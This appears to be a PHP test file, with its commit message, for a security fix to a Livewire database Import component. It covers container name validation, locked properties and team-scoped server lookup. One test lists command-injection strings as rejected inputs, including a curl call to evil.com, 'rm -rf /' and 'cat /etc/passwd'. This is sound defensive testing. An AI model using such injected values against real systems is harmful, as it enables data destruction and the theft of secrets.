- Add #[Locked] to server-set properties on Import component (resourceId, resourceType, serverId, resourceUuid, resourceDbType, container) to prevent client-side modification via Livewire wire protocol - Add container name validation in runImport() and restoreFromS3() using shared ValidationPatterns::isValidContainerName() - Scope server lookup to current team via ownedByCurrentTeam() - Consolidate duplicate container name regex from Import, ExecuteContainerCommand, and Terminal into shared ValidationPatterns::isValidContainerName() static helper - Add tests for container name validation, locked attributes, and team-scoped server lookup Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
125 lines
5.4 KiB
PHP
125 lines
5.4 KiB
PHP
<?php
|
|
|
|
use App\Livewire\Project\Database\Import;
|
|
use App\Support\ValidationPatterns;
|
|
|
|
describe('container name validation', function () {
|
|
test('isValidContainerName accepts valid container names', function () {
|
|
expect(ValidationPatterns::isValidContainerName('my-container'))->toBeTrue();
|
|
expect(ValidationPatterns::isValidContainerName('my_container'))->toBeTrue();
|
|
expect(ValidationPatterns::isValidContainerName('container123'))->toBeTrue();
|
|
expect(ValidationPatterns::isValidContainerName('my.container.name'))->toBeTrue();
|
|
expect(ValidationPatterns::isValidContainerName('a'))->toBeTrue();
|
|
expect(ValidationPatterns::isValidContainerName('abc-def_ghi.jkl'))->toBeTrue();
|
|
});
|
|
|
|
test('isValidContainerName rejects command injection payloads', function () {
|
|
// Command substitution
|
|
expect(ValidationPatterns::isValidContainerName('$(curl http://evil.com/$(whoami))'))->toBeFalse();
|
|
expect(ValidationPatterns::isValidContainerName('$(whoami)'))->toBeFalse();
|
|
|
|
// Backtick injection
|
|
expect(ValidationPatterns::isValidContainerName('`id`'))->toBeFalse();
|
|
|
|
// Semicolon chaining
|
|
expect(ValidationPatterns::isValidContainerName('container;rm -rf /'))->toBeFalse();
|
|
|
|
// Pipe injection
|
|
expect(ValidationPatterns::isValidContainerName('container|cat /etc/passwd'))->toBeFalse();
|
|
|
|
// Ampersand chaining
|
|
expect(ValidationPatterns::isValidContainerName('container&&env'))->toBeFalse();
|
|
|
|
// Spaces (not valid in Docker container names)
|
|
expect(ValidationPatterns::isValidContainerName('container name'))->toBeFalse();
|
|
|
|
// Newlines
|
|
expect(ValidationPatterns::isValidContainerName("container\nid"))->toBeFalse();
|
|
|
|
// Must start with alphanumeric
|
|
expect(ValidationPatterns::isValidContainerName('-container'))->toBeFalse();
|
|
expect(ValidationPatterns::isValidContainerName('.container'))->toBeFalse();
|
|
expect(ValidationPatterns::isValidContainerName('_container'))->toBeFalse();
|
|
});
|
|
});
|
|
|
|
describe('locked properties', function () {
|
|
test('container property has Locked attribute', function () {
|
|
$property = new ReflectionProperty(Import::class, 'container');
|
|
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
|
|
|
|
expect($attributes)->not->toBeEmpty();
|
|
});
|
|
|
|
test('serverId property has Locked attribute', function () {
|
|
$property = new ReflectionProperty(Import::class, 'serverId');
|
|
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
|
|
|
|
expect($attributes)->not->toBeEmpty();
|
|
});
|
|
|
|
test('resourceId property has Locked attribute', function () {
|
|
$property = new ReflectionProperty(Import::class, 'resourceId');
|
|
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
|
|
|
|
expect($attributes)->not->toBeEmpty();
|
|
});
|
|
|
|
test('resourceType property has Locked attribute', function () {
|
|
$property = new ReflectionProperty(Import::class, 'resourceType');
|
|
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
|
|
|
|
expect($attributes)->not->toBeEmpty();
|
|
});
|
|
|
|
test('resourceUuid property has Locked attribute', function () {
|
|
$property = new ReflectionProperty(Import::class, 'resourceUuid');
|
|
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
|
|
|
|
expect($attributes)->not->toBeEmpty();
|
|
});
|
|
|
|
test('resourceDbType property has Locked attribute', function () {
|
|
$property = new ReflectionProperty(Import::class, 'resourceDbType');
|
|
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
|
|
|
|
expect($attributes)->not->toBeEmpty();
|
|
});
|
|
});
|
|
|
|
describe('server method uses team scoping', function () {
|
|
test('server computed property calls ownedByCurrentTeam', function () {
|
|
$method = new ReflectionMethod(Import::class, 'server');
|
|
|
|
// Extract the server method body
|
|
$startLine = $method->getStartLine();
|
|
$endLine = $method->getEndLine();
|
|
$lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1);
|
|
$methodBody = implode('', $lines);
|
|
|
|
expect($methodBody)->toContain('ownedByCurrentTeam');
|
|
expect($methodBody)->not->toContain('Server::find($this->serverId)');
|
|
});
|
|
});
|
|
|
|
describe('Import component uses shared ValidationPatterns', function () {
|
|
test('runImport references ValidationPatterns for container validation', function () {
|
|
$method = new ReflectionMethod(Import::class, 'runImport');
|
|
$startLine = $method->getStartLine();
|
|
$endLine = $method->getEndLine();
|
|
$lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1);
|
|
$methodBody = implode('', $lines);
|
|
|
|
expect($methodBody)->toContain('ValidationPatterns::isValidContainerName');
|
|
});
|
|
|
|
test('restoreFromS3 references ValidationPatterns for container validation', function () {
|
|
$method = new ReflectionMethod(Import::class, 'restoreFromS3');
|
|
$startLine = $method->getStartLine();
|
|
$endLine = $method->getEndLine();
|
|
$lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1);
|
|
$methodBody = implode('', $lines);
|
|
|
|
expect($methodBody)->toContain('ValidationPatterns::isValidContainerName');
|
|
});
|
|
});
|